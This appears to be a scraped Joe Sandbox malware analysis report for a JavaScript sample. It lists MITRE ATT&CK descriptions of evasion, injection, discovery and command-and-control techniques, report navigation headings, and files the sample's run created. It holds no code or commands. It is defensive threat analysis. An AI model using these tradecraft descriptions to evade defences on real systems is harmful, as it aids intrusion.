Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 489131343024428850.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\911da694-944d-4814-aaa3-cefd4d8aae95.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8000

Windows Analysis Report
489131343024428850.js